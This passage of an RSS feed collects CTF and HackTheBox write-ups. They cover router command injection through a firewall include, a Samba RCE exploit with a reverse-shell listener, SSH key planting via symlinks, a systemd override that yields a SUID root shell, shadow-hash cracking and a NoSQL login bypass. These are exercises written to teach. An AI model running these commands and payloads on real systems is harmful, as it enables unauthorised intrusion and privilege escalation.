Include</h4><p>It is good practice to confirm that the include was correctly written:</p><pre>curl -sk &#39;https://link/backup/export&#39; | grep -A5 pwninclude</pre><p><strong>Output:</strong></p><pre>config include &#39;pwninclude&#39;<br>        option path &#39;/tmp/config&#39;<br>        option reload &#39;1&#39;</pre><p>The include is live and ready. Any content we place in /tmp/config can now be processed on the next reload.</p><h4>Step 3: Plant the Malicious Payload</h4><p>We now overwrite /tmp/config with a carefully crafted file. <strong>The most important detail:</strong> the shell command <strong>must be the first line</strong>. Any UCI syntax that appears before the command will be parsed first, and the command will never execute.</p><pre>curl -sk -X POST \<br>  -H &#39;Content-Type: text/plain&#39; \<br>  --data-binary $&#39;/bin/sh -c \&#39;/opt/flagreader/readflag &gt; /opt/webui/static/flag.txt\&#39;\npackage \&#39;network\&#39;\nconfig interface \&#39;lan\&#39;\n\toption proto \&#39;dhcp\&#39;\n&#39; \<br>  &#39;https://link/backup/import&#39;</pre><p><strong>Response (expected):</strong></p><pre>{&quot;error&quot;: &quot;uci failed: uci: Parse error (invalid command) at line 1, byte 0&quot;}</pre><p>The parse error is completely normal and does <strong>not</strong> mean the write failed. The file /tmp/config now contains our command as the first line, followed by dummy UCI configuration.</p><h4>Step 4: Elevate the Include to type=script and Force Execution</h4><p>Some builds of the firewall reload logic only execute the first line when the include is explicitly marked as a script. We update the existing include:</p><pre>curl -sk -X POST \<br>  -H &#39;Content-Type: application/json&#39; \<br>  -d &#39;{&quot;values&quot;:{&quot;path&quot;:&quot;/tmp/config&quot;,&quot;reload&quot;:&quot;1&quot;,&quot;type&quot;:&quot;script&quot;}}&#39; \<br>  &#39;https://link/config/firewall/pwninclude&#39;</pre><p><strong>Response</strong></p><pre>{&quot;changes&quot;: {&quot;firewall&quot;: [&quot;firewall.pwninclude.type=&#39;script&#39;&quot;]}}</pre><p>Finally, commit the changes. This is the moment the command is executed:</p><pre>curl -sk -X POST \<br>  &#39;https://link/changes/commit&#39;</pre><p><strong>Response:</strong></p><pre>{&quot;changes&quot;: {}}</pre><p>Behind the scenes the firewall service reloads the include, sees type=script, and runs the first line of /tmp/config as a shell command. The privileged helper /opt/flagreader/readflag executes and writes the flag into the static web directory.</p><h4>Step 5: Retrieve the Flag</h4><p>Bash</p><pre>curl -sk &#39;https://link/static/flag.txt&#39;</pre><p><strong>Output:</strong></p><pre>Flag: brunner{m4yb3_d0nt_sl0p_r0ut3rs}</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=02baf2b99292" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB: Abducted Machine]]></title>
            <link>https://medium.com/@malik.abid2k5/htb-abducted-machine-642299bc5518?source=rss-ebce262421ea------2</link>
            <guid isPermaLink="false">https://medium.com/p/642299bc5518</guid>
            <category><![CDATA[htb-walkthrough]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[boot2root]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[htb]]></category>
            <dc:creator><![CDATA[Player X]]></dc:creator>
            <pubDate>Wed, 29 Jul 2026 21:37:21 GMT</pubDate>
            <atom:updated>2026-07-29T21:37:21.717Z</atom:updated>
            <content:encoded><![CDATA[<p>Difficulty: Medium Operating System : Linux</p><p>First lets start with initial Nmap enumeration to get to know what ports are open , what services are running on them and What are there Version number.</p><p>Run the basic Nmap Command:</p><pre>nmap &lt;ip&gt; -sV -p- - min-rate=5000 -Pn</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-qAypnSMYvAiPY3SxnfW3A.png" /><figcaption>Nmap Scan Results</figcaption></figure><p>From nmap scan results we get to know there are 2 services: Ssh, Smb.</p><p>Lets try anonymous login on smb and list the shares and permissions:</p><pre>nxc smb &lt;ip&gt; -u &#39;&#39; -p &#39;&#39; --shares</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tPh3zwkzXo0EjdGtQGk3kg.png" /><figcaption>SMB Results</figcaption></figure><p>As we see we have access and we have some pretty intresting permission(write) on one of the share.Now i enumerated others share but they were not accessible in order to enumerate those share you can use smbclient:</p><pre>smbclient -L //ip// -N </pre><ul><li>N specifies no password to be used and -L specifies list the shares in the directory. This session is called Null session. Where ip is the IP of the machine. To select a specific share, you can use:</li></ul><pre>smbclient //ip//sharename -N</pre><p>Moving on,</p><p>Now after a couple enumeration i found a CVE for this version of samba:CVE-2026–4480 an unauthenticated RCE CVE. You can find its exploit here: <a href="https://github.com/0xBlackash/CVE-2026-4480">https://github.com/0xBlackash/CVE-2026-4480</a></p><p>Clone the repo with following command on your kali:</p><pre>git clone https://github.com/0xBlackash/CVE-2026-4480.git</pre><p>Now the exploit usage is :</p><pre>python3 CVE-2026-4480.py -t targetip -l yourip -p yourport</pre><p>(Although i enumerated the users with enum4linux-ng you can also try this tool for enumeration Syntax : enum4linux-ng &lt;ip&gt; -A)</p><p>Set up your netcat listener in a terminal.</p><pre>nc -lvnp 4444</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*QKbrO4qU8mTFlChkrtEQ6Q.png" /><figcaption>Netcat listener for reverse connection</figcaption></figure><p>Now trigger the exploit in another terminal:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*390uAjBbrlknsRRWSdDoSw.png" /><figcaption>Exploit Trigger</figcaption></figure><p>Now look at your listener you would have recive a shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IuIarXSsU50iU5PviAJNzA.png" /><figcaption>Reverse Connection</figcaption></figure><h3><strong>Shell as Scott User (user.txt)</strong></h3><p>Now lets enumerate the machine for lateral movement.</p><p>In directory /opt we found something intresting:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/1*JAMq-OZx8nCBU91JsZ8S1w.png" /></figure><p>Intresting but i tried it against all user none of them worked with this password.</p><p>Lets search about the rclone technology.</p><p>Basically, it is an rclone service that lets you manage your files , folders in cloud services and it is a cli tool.</p><p>The intresting fact is that it obsecure its configuration password. I hope that makes sense as i have not much knowledge and just doing research.</p><p>Okay to reveal the real password we have to run the following command:</p><pre>rclone reveal &lt;password&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WhPEy_teW1JRGubIW9XrVA.png" /></figure><p>We got a password lets test it against the user present.</p><p>See we got shell as user scott.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*VU1bt6uN6b25kjEHsgtolA.png" /></figure><p>To stablize the shell run the following python snippet:</p><pre>python3 -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><p>It will spawn a tty stable shell.</p><p>Go and take user.txt.</p><h3><strong>Shell as Marcus</strong></h3><p>Since if we /etc/passwd or /home there are 2 user so there is still plenty of time to get to Privilege Esclation part.</p><p>Lets enumerate the smaba service as we have access as scott.</p><p>Intresting if we look in the configuration files of shares /etc/samba/shares.conf.</p><pre>cat /etc/samba/shares.conf</pre><p>There something stands out:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dLHpDEjk_GfulwPe9syt4g.png" /></figure><p>The transfer share force user is marcus . Meaning any file that is uploaded is owned by marcus.</p><p>Path of Exploitation:</p><ol><li>We will generate a pair of valid ssh keys.</li><li>We will create s symlink of /home/marcus/.ssh to a file accessible.</li><li>We will write the ssh publick key into it.</li><li>We will ssh as marcus.</li></ol><p>Commands:</p><pre>ssh-keygen -q -t ed25519 -N &#39;&#39; -f /tmp/k<br>// Generated Key<br>ln -s /home/marcus /srv/transfer/mh<br>// Made a symlink<br>smbclient //127.0.0.1/transfer -U &#39;scott%iXzvcib3SrpZ&#39; \<br>-c &#39;mkdir mh/.ssh; put /tmp/k.pub mh/.ssh/authorized_keys&#39;<br>//Wrote key to marcus home</pre><p>Now ssh as marcus:</p><pre>ssh -i /tmp/k marcus@localhost</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pxfXs4cie34s9G2SVxqx5A.png" /></figure><h3><strong>Privilege Esclation as Root (root.txt)</strong></h3><p>User Marcus is in operator group.</p><p>Now if we enumerate the writeable folders by user marcus we get an intresting folder that is writeable./etc/systemd/system/smbd.service.d/</p><p>The folder has setgid bit set and is owned by root.</p><p>To get shell as root we will make a mal configuration and then will restart the service.</p><p>Malicious configuration:</p><pre>cat &gt; /etc/systemd/system/smbd.service.d/override.conf &lt;&lt; &#39;EOF&#39;<br>[Service]<br>ExecStartPre=/bin/sh -c &#39;cp /bin/bash /tmp/rootbash &amp;&amp; chmod 4755 /tmp/rootbash&#39;<br>EOF</pre><p>Now lets Restart service:</p><pre>systemctl daemon-reload<br>systemctl restart smbd</pre><p>Then Execute :</p><pre>/tmp/rootbash -p</pre><p>You will get Shell as root:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gpjHxRRIxQT-tljSOE4B_w.png" /></figure><p>Thank You!!!!</p><p>Hope you enjoyed it . Really Good Room.</p><p>See ya next time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MEKaQ2WxBbf131X_6fEAPg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=642299bc5518" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[RE_verseDIS]]></title>
            <link>https://medium.com/@malik.abid2k5/re-versedis-d6d45a9d8dc4?source=rss-ebce262421ea------2</link>
            <guid isPermaLink="false">https://medium.com/p/d6d45a9d8dc4</guid>
            <category><![CDATA[ctflearn]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <dc:creator><![CDATA[Player X]]></dc:creator>
            <pubDate>Tue, 29 Jul 2025 18:58:38 GMT</pubDate>
            <atom:updated>2025-07-29T19:11:20.380Z</atom:updated>
            <content:encoded><![CDATA[<p>CTFlearn Medium Rev Challenge:</p><p>We were given a binary so starting with first i ran file command to look what kind of binary is it and if it is stripped or not:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FrWNQfgMgNZ3p36-K2Rfpg.png" /></figure><p>Now i ran the binary to know its functionality:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xu48Qzwvq3oHosvsuSZSPg.png" /></figure><p>So it asked for password and if putted wrong it just prints Wrong Password just a normal binary .</p><p>Now i moved to strings to get the known user defined strings or if any hardcodded password:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mxw4vb9GQhmJ-QKH-RLhKg.png" /></figure><p>Okay it prints Wrong Password for wrong attempt and Good Job Dude for correct.</p><p>There is also a phrase which is not password but it seems intresting lets leave it for now will see if it comes between reversing.</p><p>Now i followed with dynamic analysis using ltrace to get know the function calls because i saw there is no strcmp() call so no hardcoded password checks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QzPGMudZmcwc6ZYqYCwfYQ.png" /></figure><p>Nothing special and suspecious also no functions call well that is unexpected because ltrace allows dynamically analysis of binary by displaying the function calls done by the binary.</p><p>Now lets move to a bit higher lets open pwngdb for debugging the binary:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fwfLyn4x2b1xzamHnxHBXA.png" /></figure><p>set a breakpoint at main.</p><p>Run the binary to get it stopped at main where you can start debugging.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v2M_DpuB1EtemOtZAtpERQ.png" /></figure><p>It hitted the breakpoint as you can see there are function being called which is weird as we didnot saw those in ltrace i dont know why ,the puts call is for displaying string ‘Input’ as you can see it is being passed to RDI because first argument is passed to RDI always and second to RSI and so on</p><p>then there is a call to scanf to get the user input use <strong>ni</strong> to move to next instruction in pwndbg:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9SqLOwXgYcDloFV3nUI09w.png" /></figure><p>At this point i noticed i was looping around this <strong>jle</strong> instruction which gave a strong indication of Looping also i saw that phrase being passed as argument to RAX for some processing which could be involved in password generation as i encountered a xor instruction a little far so now lets go and se decompile code and use IDA for furthur debugging:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*shWBf7zEWsfgxClNyNugQg.png" /></figure><p>Setting up a breakpoint at main and start debugging it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mfli5imGqestX52TPbPruQ.png" /></figure><p>This is the psuedo code generated by IDA which make alot sense why there was xor ,in the graph view i saw that the phrase we saw earlier was value of <strong>key[]:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/695/1*ha7FUFa_U15KKBOyrURRow.png" /></figure><p><strong>lea </strong>basically move the key into rax that is why we saw it and then the XOR operation occurs and this happen.</p><p>So in the code we see we will get Good Job printed if and only if the value of stat is 0 else it will print wrong but how lets find out during debugging.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jaPl47_ijSZwWhzEauZx5g.png" /></figure><p>We can see here the input type is of string due to spacifier %s</p><p>now the rbp+var_8 is the loop iterator and it checks if its value is less then or equal to hex 15 that is 21 meaning our password is of length 21 most probably my guess .</p><p>Basically it isthe 2nd for loop responsible for Xoring the values of password when it is completed it will jump to function short loc_55555540082z</p><p>now in this function i found an intresting thing you know why there was no password hardcoded and how our password was check this is the section basically it checks password one by one that means character by character using the last bytes of Accumulator register and C Register through this instruction</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*PPOsGjFRUCUplrvMKo4qdg.png" /></figure><p>So the idea is we will set the breakpoint here and according to arguments passing convention , the characters from our input will be passed to cl and the original password character will be passed to al so we will note the value that is hex value of al on a notepad and we will change the value of rcxto that value of rax so that this compare is true we will do this all 21 times to get the whole password which will be the flag , if any 1 time the compare condition is false the loop will break and we have to start from again.</p><p>Tip: for convinience try inputting 123456789012345678901</p><p>this will help you while analzying the register value.</p><p>Okay i will input the same and lets see what will happen:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XI0-UKG4RhiJKKWlqtaPtA.png" /></figure><p>Now:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iCXdac0MSdbe6zC4plm8_Q.png" /></figure><p>we are on the instruction and i have set the breakpoint here so now each time the value is being checked it will break at that point and we will get to know each letter of the password so as you can see the value of register:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*qGkUKRbhb_plcRhDO9tNQw.png" /></figure><p>The value of RAX is 0x41 and RCX its 0x31 lets see the values using man ascii :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/299/1*rDQeFI8ReVdbXKxM-1s5lg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/335/1*mUdmwFAmRNpKhvuNadUvPw.png" /></figure><p>0x41 =A</p><p>0x31 = 1</p><p>I dont know letter A but i know 1 because it is the first letter of my input which means my input is being checked character by character now to confirm we first put the value of RCX = 0x41 to make this statement true and to continue the loop :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*BLx4I3nkJcOkexFjhjFAkQ.png" /></figure><p>Now press F9 on IDA to continue :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/510/1*F53HDtrL53m-hpxgvCfdEA.png" /></figure><p>Look for the values of register only they will change now this time RAX is 0x62 and RCX is 0x32 again we check using man ascii:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/255/1*09AKpzQdT85z3BellyaXNQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/252/1*OOZ1fHygwwrjkY4uPRw7VA.png" /></figure><p>Which confirms our input is being tested character by character with original password now to recover full password we will note down the value of RAX each time the condition is true and dont forget to make RCX equal to RAX everytime to make the comparison always true .</p><p>So by doing this 21 times we get:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*Q9WQ8gCsJo5z52hYIS1_Pg.png" /></figure><p>Which is the password and flag!! Boom!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YqRulSGAObD0vsb3GFytkA.png" /></figure><p>Thank You For Reading!! :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d6d45a9d8dc4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[dont-you-love-banners]]></title>
            <link>https://medium.com/@malik.abid2k5/dont-you-love-banners-a91945f818bb?source=rss-ebce262421ea------2</link>
            <guid isPermaLink="false">https://medium.com/p/a91945f818bb</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[boot2root]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[picoctf]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <dc:creator><![CDATA[Player X]]></dc:creator>
            <pubDate>Tue, 22 Jul 2025 19:46:27 GMT</pubDate>
            <atom:updated>2025-07-22T19:46:27.445Z</atom:updated>
            <content:encoded><![CDATA[<h3>PicoCTF Basic Challenge:</h3><p>In this challenge we were told that the banner on the a certain port was leaking information so we went to investigate the goal was to enter user server and read the flag.txt in /root file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/929/1*VbReLhs3K_9UY06mMuI1OA.png" /></figure><p>I went first to login to the port that was leaking the information</p><p>ssh didnot allowed the connection nor there was any information dont know was it connection or not else then i used telnet to connect.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/530/1*c5YS7O0l66dPPCuRNPJ90A.png" /></figure><p>We saw something that looks like sometype of password maybe of server lets keep it <strong>My_Passw@rd_@1234.</strong></p><p>There was nothing else to explore here so we went to the basic ssh login to enter the server it asked for password and i inputed the previous one we got and boom we found it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/577/1*XWSyeJTN7HXfQJhhFcMWmw.png" /></figure><p>Then it asked for Top cyber security conference which i found was <strong>DEF CON.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/761/1*eK0deWb9A47e-2qf04kB4g.png" /></figure><p>Then it asked for the first hacker for a particular thing and i found it was <strong>John Draper.</strong></p><p>And boom we got the access to server :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*C2ZNVM5lmFrRAB9tYee9_w.png" /></figure><p>I went to /root and we found flag.txt and script.py</p><p>i tried reading the flag but it said permission denied dont know why as the owner is root so we need to esclate privillage Now the fun part began</p><p>as i stated the script.py i first thought to check if it has SUID bit and is owned by root if so then i can edit it to spawn the shell which will allow to spawn a root shell because the SUID bit allows the file to run with the privillages of its owner so mean if the shell is spawned by that program it will be also the shell of owner but this method failed.</p><p>There was no SUID bit although the owner was root and there was no editor to edit file.</p><p>Now then suddenly something flashed in my mind which is crazy.</p><p>While solving much Boot2root the /root directory is denied permission for normal user so if i can access this directory i can also access the /etc/shadow so i tried and boom i got it the hash of root password:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nsGVrzYAiTlTZnZU-4QVgw.png" /></figure><p>Which then i used to crack with john the ripper:</p><p><strong>echo ‘root:$6$6QFbdp2H$R0BGBJtG0DlGFx9H0AjuQNOhlcssBxApM.CjDEiNzfYkVeJRNy2d98SDURNebD5/l4Hu2yyVk.ePLNEg/56DV0’ &gt; shadow.txt</strong></p><p>saved on my machine and then:</p><p><strong>john shadow.txt — wordlist=/usr/share/wordlists/rockyou.txt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cvu4f296vTq_xmAjiQlqkQ.png" /></figure><p>Which was easy to crack.</p><p>Now i entered as root using <strong>su root </strong>and using the above password and boom we got the flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/683/1*0qD6Tnkaqgcs3PW7KXLZjg.png" /></figure><p>This was fun and intresting.</p><p>Thank You!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a91945f818bb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[No Sql Injection]]></title>
            <link>https://medium.com/@malik.abid2k5/no-sql-injection-1517e8b39b6e?source=rss-ebce262421ea------2</link>
            <guid isPermaLink="false">https://medium.com/p/1517e8b39b6e</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[picoctf]]></category>
            <category><![CDATA[web]]></category>
            <category><![CDATA[picoctf2024]]></category>
            <dc:creator><![CDATA[Player X]]></dc:creator>
            <pubDate>Tue, 22 Jul 2025 19:14:14 GMT</pubDate>
            <atom:updated>2025-07-22T19:14:14.865Z</atom:updated>
            <content:encoded><![CDATA[<h3>PicoCTF Web Challenge:</h3><p>From challenge name we are familiarize what we need to do we need to perform Nosql Injection.</p><p>After visiting the web we are welcomed with a login page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L0GlyWCcmstGrB3F6uOKIQ.png" /></figure><p>Now we were also provided with source file while analyzing the source file i found a user email:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*N1USQgszCy0RaIEmjnpcRg.png" /></figure><p>Well we got one thing the next thing is just testing payloads to bypass the login so i tried the most basic nosql payload { “$ne”: null } in the password field.</p><p><strong>{ “username”: picoplayer355@picoctf.org, “password”: { “$ne”: null } }</strong></p><p>And boom we got logged in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NOPSWmt4cBjUmhj-fOapBQ.png" /></figure><p>But there was nothing of interest . I checked source code cookies and everything but yet nothing found then i revised the source file where i found few thing was missing from the page which should be there and those were:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/844/1*QFIRDmlsdo9I8QPoo8je8w.png" /></figure><p>and then there was also a hint:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*AhXCKFpSRhCn49Slxuy41A.png" /></figure><p>So i intercepted the request with burp sent to repeater and we got those thing in the response :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GqrPTXclU1MsGi7NNE-WYQ.png" /></figure><p>But still no flag but there is something in the token it was looking like a base64 encoding so i tried to decrypt it using burp decoder and guess what boom!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3ndI7hADKNdVN_sYRMQjWA.png" /></figure><p>We found the flag.</p><p>Thank You!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1517e8b39b6e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Guess My Cheese (Part 1)]]></title>
            <link>https://medium.com/@malik.abid2k5/guess-my-cheese-part-1-6245dd1cc361?source=rss-ebce262421ea------2</link>
            <guid isPermaLink="false">https://medium.com/p/6245dd1cc361</guid>
            <category><![CDATA[picoctf]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[picoctf-2025]]></category>
            <category><![CDATA[cryptography]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Player X]]></dc:creator>
            <pubDate>Tue, 22 Jul 2025 15:53:47 GMT</pubDate>
            <atom:updated>2025-07-22T16:01:41.533Z</atom:updated>
            <content:encoded><![CDATA[<p>PicoCTF 2025 Cryptography Challenge:</p><p>So basically in this challenge we were given an instance that was basically a condition based solution that is the instance asks us to guess the encrypted cheese name and it will output the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gTEyvRZjnIiBz5aDXB5ntw.png" /></figure><p>There was another option to encrypt any cheese which only encrypts the cheese name which is in its database.</p><p>Now this function was useful.</p><p>So basically in the hints we were provided with cypher name that was affine cypher.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*5MRbgOVvtm3ZY-0GRUVmGA.png" /></figure><p>So basically in affine cypher all the encryption and decryption works on two main constants that are <strong>a </strong>and <strong>b.</strong></p><p>Now previously i said the encryption function was an important lets see how .</p><p>So basically in order to know the value of a and b we dont have any code or algorithm so what will do is we will encrypt a custom cheese name and will use an online brute force to decrypt that cypher that will give us the value of a and b.</p><p>Note: The value of a and b is unique everytime the instane runs so if you restart the instance you have to find the value of a and b again.</p><p>So lets go into it.</p><p>I encrypt cheddar to obtain know cypher text .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xv7CVbw2iBmzIOjP2z0lhQ.png" /></figure><p>now we will go to website <a href="https://www.dcode.fr/affine-cipher">https://www.dcode.fr/affine-cipher</a></p><p>and we will brute force this encrypted cypher to obtain the string cheddar as we know its the plaintext and the corresponding value of a and b will be used to decrypt the original cypher text.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*puOMBXl8SZL4AaNBp38sAw.png" /></figure><p>As you saw that i got the value cheddar at a=7 and b=6 which now we will use to decrypt the original cypher that is NVKIXLR.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6iZ6t-heD89ax_csfN5r2Q.png" /></figure><p>Now we will use this value to obtain the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RomRnsB0Bmzi2k0MTJYODA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BvZDY-DSBhhVMfrJemUt9A.png" /></figure><p>Thank You!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6245dd1cc361" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Rev Challenge:Test2]]></title>
            <link>https://medium.com/@malik.abid2k5/rev-challenge-test2-6213f6537df3?source=rss-ebce262421ea------2</link>
            <guid isPermaLink="false">https://medium.com/p/6213f6537df3</guid>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Player X]]></dc:creator>
            <pubDate>Tue, 08 Jul 2025 16:40:56 GMT</pubDate>
            <atom:updated>2025-07-08T16:40:56.990Z</atom:updated>
            <content:encoded><![CDATA[<p>So basically an advancment for test challenge in test challenge the password was hardcoded into the code but in this challenge i made things a little bit only a little bit tricky by generating password using for loop so it can also be solved by both ghidra and gdb but not the strings this time.</p><p>Required: Code</p><p>So basically running the program asks for the code:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/477/1*Q0sOsG7Ll53TEgpp93n_vQ.png" /></figure><p>Simple same as the previous challenge lets see teh strings output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/273/1*_nLFLDLH6-Mhjo_vXcBang.png" /></figure><p>I can still see the flag but this time code is not hardcoded like before.</p><p>So strings wouldnot help but we say that there is still a strcmp() function that is a good sign lets proceed to Ghidra.</p><p>Ghidra:</p><p>Opening binary in Ghidra:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*p594Jh8DpkdJTvzcpiRtsQ.png" /></figure><p>i can see there is a for loop to make things simple i will rename the variable to my custom names that will allow us to understand the code easily:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*Mfw2LntxDf89qkFtCX3s3A.png" /></figure><p>Now things look very simple.</p><p>The part of the program responsible for code generation was the for loop:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/251/1*vvKCEu2f0siddFrLSslLQw.png" /></figure><p>As by renaming the variable it had become really easy as you can see we have initialized a variable e =0 and the loop runs 5 time adding the value of d to e so the total value become 10 when the loop ends.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/282/1*rCfWolC2dQOYoWmQJJK9HQ.png" /></figure><p>The sprintf function presents the integer output of e into a strings and assign the value to b.</p><p>The stcmp() compares value of c , b where c is the user input now the strcmp() work if both values matches the ouput is 0 else if c is greater than b it will ouput +ve value and if c is less than b it will ouput -ve value.</p><p>For checking there is if statemant meaning if the strcmp() gives ouput of 0 meaning both the strings are equal it will accept it else reject it.</p><p>Since the for loop gives out 10 so this is the Code.</p><p>GDB:</p><p>With doing GDB it is much fun lets load into gdb ./test2:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/1*lozNS6-NIald-LObLLq1_g.png" /></figure><p>this is the main function disassembled using disas main.</p><p>As we can spot a strcmp() function we will do the same approach as we did in test.</p><p>We will set break point at strcmp() that is b *main+140.</p><p>and then run the binary when the break point is reached the execution will be stopped and values will reside in register that were meant to be compared meaning the code inputed by the user and the original code and then by analyzing the registers memory we can get the orignal value.</p><p>Lets make it practical:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*o4ebtYSLM7O3g185ekDx7g.png" /></figure><p>Breakpoint reached analyze the registers memroy using i r.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/394/1*afBCyYLqYIkjD4WiYDs6zA.png" /></figure><p>we need to analyze these registers mostly rsi will do:</p><p>x/20xs $rsi</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/387/1*fIgadPZOo95Gl_OCMfuA_g.png" /></figure><p>Here we found the string against which our code was going to match:</p><p>Code : 10</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/302/1*Z76rjP_zDr86FU0jgjATAw.png" /></figure><p>Wow!!! great we solved it .</p><p>Thanks for Reading and Happy Hunting.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6213f6537df3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[REV Challenge: TEST]]></title>
            <link>https://medium.com/@malik.abid2k5/rev-challenge-test-ade53ece9f18?source=rss-ebce262421ea------2</link>
            <guid isPermaLink="false">https://medium.com/p/ade53ece9f18</guid>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Player X]]></dc:creator>
